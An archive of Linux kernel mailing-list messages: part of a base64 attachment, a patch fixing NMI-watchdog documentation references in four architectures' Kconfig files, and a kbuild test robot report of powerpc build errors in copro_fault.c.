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

--mP3DRpeJDSE+ciuQ
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


From - Thu Nov 08 21:41:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mauro Carvalho Chehab <mchehab+samsung@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.documentation,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH v4 03/26] arch/*: Kconfig: fix documentation for NMI watchdog
Date: Fri, 15 Jun 2018 13:30:31 -0300
Lines: 72
Approved: news@gmane.org
Message-ID: <3018fe79cb72e48491a2b35c577baa93af16af52.1529079119.git.mchehab+samsung@kernel.org>
References: <cover.1529079119.git.mchehab+samsung@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1529080552 27385 195.159.176.226 (15 Jun 2018 16:35:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 15 Jun 2018 16:35:52 +0000 (UTC)
Cc: Mauro Carvalho Chehab <mchehab+samsung@kernel.org>,
        Mauro Carvalho Chehab <mchehab@infradead.org>,
        linux-kernel@vger.kernel.org, Russell King <linux@armlinux.org.uk>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org
To: Linux Doc Mailing List <linux-doc@vger.kernel.org>,
        Jonathan Corbet <corbet@lwn.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 15 18:35:47 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fTrhS-0006zr-Ky
	for glk-linux-kernel-4@m.gmane.org; Fri, 15 Jun 2018 18:35:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S966353AbeFOQhj (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 15 Jun 2018 12:37:39 -0400
Original-Received: from osg.samsung.com ([64.30.133.232]:40035 "EHLO osg.samsung.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S966082AbeFOQbE (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 15 Jun 2018 12:31:04 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by osg.samsung.com (Postfix) with ESMTP id D978022BA8;
        Fri, 15 Jun 2018 09:31:03 -0700 (PDT)
X-Virus-Scanned: Debian amavisd-new at dev.s-opensource.com
X-Amavis-Alert: BAD HEADER SECTION, Duplicate header field: "References"
Original-Received: from osg.samsung.com ([127.0.0.1])
        by localhost (localhost [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id zEchXV9hmW6a; Fri, 15 Jun 2018 09:31:02 -0700 (PDT)
Original-Received: from smtp.s-opensource.com (177.41.114.220.dynamic.adsl.gvt.net.br [177.41.114.220])
        by osg.samsung.com (Postfix) with ESMTPSA id 8FB2322B48;
        Fri, 15 Jun 2018 09:30:58 -0700 (PDT)
Original-Received: from mchehab by smtp.s-opensource.com with local (Exim 4.91)
        (envelope-from <mchehab@smtp.s-opensource.com>)
        id 1fTrcl-000837-U8; Fri, 15 Jun 2018 13:30:55 -0300
X-Mailer: git-send-email 2.17.1
In-Reply-To: <cover.1529079119.git.mchehab+samsung@kernel.org>
In-Reply-To: <cover.1529079119.git.mchehab+samsung@kernel.org>
Original-References: <cover.1529079119.git.mchehab+samsung@kernel.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2795289 gmane.linux.documentation:56700 gmane.linux.ports.arm.kernel:656538 gmane.linux.ports.parisc:28696 gmane.linux.ports.sh.devel:57109 gmane.linux.ports.sparc:28013
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2795289>

Changeset 9919cba7ff71 ("watchdog: Update documentation") updated
the documentation, removing the old nmi_watchdog.txt and adding
a file with a new content.

Update Kconfig files accordingly.

Fixes: 9919cba7ff71 ("watchdog: Update documentation")

Signed-off-by: Mauro Carvalho Chehab <mchehab+samsung@kernel.org>
---
 arch/arm/Kconfig    | 2 +-
 arch/parisc/Kconfig | 2 +-
 arch/sh/Kconfig     | 2 +-
 arch/sparc/Kconfig  | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 483d2858e367..54eeb8d00bc6 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -1302,7 +1302,7 @@ config SMP
 	  will run faster if you say N here.
 
 	  See also <file:Documentation/x86/i386/IO-APIC.txt>,
-	  <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO available at
+	  <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO available at
 	  <http://tldp.org/HOWTO/SMP-HOWTO.html>.
 
 	  If you don't know what to do here, say N.
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 4d8f64d48597..c480770fabcd 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -275,7 +275,7 @@ config SMP
 	  machines, but will use only one CPU of a multiprocessor machine.
 	  On a uniprocessor machine, the kernel will run faster if you say N.
 
-	  See also <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO
+	  See also <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO
 	  available at <http://www.tldp.org/docs.html#howto>.
 
 	  If you don't know what to do here, say N.
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 4bedd1c97f29..dd4f3d3e644f 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -687,7 +687,7 @@ config SMP
 	  People using multiprocessor machines who say Y here should also say
 	  Y to "Enhanced Real Time Clock Support", below.
 
-	  See also <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO
+	  See also <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO
 	  available at <http://www.tldp.org/docs.html#howto>.
 
 	  If you don't know what to do here, say N.
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 9a2b8877f174..0f535debf802 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -178,7 +178,7 @@ config SMP
 	  Y to "Enhanced Real Time Clock Support", below. The "Advanced Power
 	  Management" code will be disabled if you say Y here.
 
-	  See also <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO
+	  See also <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO
 	  available at <http://www.tldp.org/docs.html#howto>.
 
 	  If you don't know what to do here, say N.
-- 
2.17.1



From - Thu Nov 08 21:41:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.kernel.arc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] mm: convert return type of handle_mm_fault() caller to
	vm_fault_t
Date: Sun, 17 Jun 2018 02:14:28 +0800
Lines: 1203
Approved: news@gmane.org
Message-ID: <201806170146.1XtJpNiY%fengguang.wu@intel.com>
References: <20180614190629.GA18576@jordon-HP-15-Notebook-PC>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="IS0zKkzwUGydFO0o"
X-Trace: blaine.gmane.org 1529172777 9098 195.159.176.226 (16 Jun 2018 18:12:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 16 Jun 2018 18:12:57 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	palmer-SpMDHPYPyPbQT0dZR+AlfA@public.gmane.org, will.deacon-5wv7dgnIgG8@public.gmane.org, jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org,
	linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org, hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-riscv-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	alexander.levin-H+0wwilmMs1BDgjK7y7TUQ@public.gmane.org, jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org,
	sabyasachi.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, richard-/L3Ra7n9ekc@public.gmane.org,
	linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org, willy-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org, geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	catalin.marinas-5wv7dgnIgG8@public.gmane.org, jhogan-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	brajeswar.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org, user-mode-linux-user-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org,
	gxt@
To: Souptick Joarder <jrdr.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Sat Jun 16 20:12:48 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fUFgt-00028D-Lw
	for glki-iommu@m.gmane.org; Sat, 16 Jun 2018 20:12:48 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 81517A92;
	Sat, 16 Jun 2018 18:14:57 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id EDCC89D3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sat, 16 Jun 2018 18:14:55 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mga12.intel.com (mga12.intel.com [192.55.52.136])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id D78C3766
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sat, 16 Jun 2018 18:14:54 +0000 (UTC)
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from fmsmga004.fm.intel.com ([10.253.24.48])
	by fmsmga106.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
	16 Jun 2018 11:14:54 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.51,231,1526367600"; 
	d="gz'50?scan'50,208,50";a="63775375"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
	by fmsmga004.fm.intel.com with ESMTP; 16 Jun 2018 11:14:46 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
	(envelope-from <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>)
	id 1fUFin-000G9C-6b; Sun, 17 Jun 2018 02:14:45 +0800
Content-Disposition: inline
In-Reply-To: <20180614190629.GA18576@jordon-HP-15-Notebook-PC>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24902 gmane.linux.ports.mips.general:65066 gmane.linux.ports.ia64:28862 gmane.linux.ports.sh.devel:57111 gmane.linux.kernel.mm:197613 gmane.linux.ports.sparc:28021 gmane.linux.ports.hexagon:1772 gmane.linux.ports.riscv:32 gmane.linux.kernel.arc:3972 gmane.linux.uml.devel:16823 gmane.linux.uml.user:15459 gmane.linux.ports.arm.kernel:656586 gmane.linux.ports.parisc:28697 gmane.linux.kernel:2795666 gmane.linux.ports.alpha:5118 gmane.linux.ports.ppc64.devel:158970
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24902>


--IS0zKkzwUGydFO0o
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Souptick,

Thank you for the patch! Perhaps something to improve:

[auto build test WARNING on v4.17]
[cannot apply to linus/master powerpc/next sparc-next/master next-20180615]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Souptick-Joarder/mm-convert-return-type-of-handle_mm_fault-caller-to-vm_fault_t/20180615-030636
config: powerpc-allyesconfig (attached as .config)
compiler: powerpc64-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        GCC_VERSION=7.2.0 make.cross ARCH=powerpc 

All warnings (new ones prefixed by >>):

   arch/powerpc/mm/copro_fault.c:36:5: error: conflicting types for 'copro_handle_mm_fault'
    int copro_handle_mm_fault(struct mm_struct *mm, unsigned long ea,
        ^~~~~~~~~~~~~~~~~~~~~
   In file included from arch/powerpc/mm/copro_fault.c:27:0:
   arch/powerpc/include/asm/copro.h:18:5: note: previous declaration of 'copro_handle_mm_fault' was here
    int copro_handle_mm_fault(struct mm_struct *mm, unsigned long ea,
        ^~~~~~~~~~~~~~~~~~~~~
   In file included from include/linux/linkage.h:7:0,
                    from include/linux/kernel.h:7,
                    from include/asm-generic/bug.h:18,
                    from arch/powerpc/include/asm/bug.h:128,
                    from include/linux/bug.h:5,
                    from arch/powerpc/include/asm/mmu.h:126,
                    from arch/powerpc/include/asm/lppaca.h:36,
                    from arch/powerpc/include/asm/paca.h:21,
                    from arch/powerpc/include/asm/current.h:16,
                    from include/linux/sched.h:12,
                    from arch/powerpc/mm/copro_fault.c:23:
   arch/powerpc/mm/copro_fault.c:101:19: error: conflicting types for 'copro_handle_mm_fault'
    EXPORT_SYMBOL_GPL(copro_handle_mm_fault);
                      ^
   include/linux/export.h:65:21: note: in definition of macro '___EXPORT_SYMBOL'
     extern typeof(sym) sym;      \
                        ^~~
>> arch/powerpc/mm/copro_fault.c:101:1: note: in expansion of macro 'EXPORT_SYMBOL_GPL'
    EXPORT_SYMBOL_GPL(copro_handle_mm_fault);
    ^~~~~~~~~~~~~~~~~
   In file included from arch/powerpc/mm/copro_fault.c:27:0:
   arch/powerpc/include/asm/copro.h:18:5: note: previous declaration of 'copro_handle_mm_fault' was here
    int copro_handle_mm_fault(struct mm_struct *mm, unsigned long ea,
        ^~~~~~~~~~~~~~~~~~~~~

vim +/EXPORT_SYMBOL_GPL +101 arch/powerpc/mm/copro_fault.c

7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20  @23  #include <linux/sched.h>
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   24  #include <linux/mm.h>
4b16f8e2d arch/powerpc/platforms/cell/spu_fault.c Paul Gortmaker     2011-07-22   25  #include <linux/export.h>
e83d01697 arch/powerpc/mm/copro_fault.c           Ian Munsie         2014-10-08   26  #include <asm/reg.h>
73d16a6e0 arch/powerpc/mm/copro_fault.c           Ian Munsie         2014-10-08   27  #include <asm/copro.h>
be3ebfe82 arch/powerpc/mm/copro_fault.c           Ian Munsie         2014-10-08   28  #include <asm/spu.h>
ec249dd86 arch/powerpc/mm/copro_fault.c           Michael Neuling    2015-05-27   29  #include <misc/cxl-base.h>
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   30  
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   31  /*
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   32   * This ought to be kept in sync with the powerpc specific do_page_fault
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   33   * function. Currently, there are a few corner cases that we haven't had
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   34   * to handle fortunately.
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   35   */
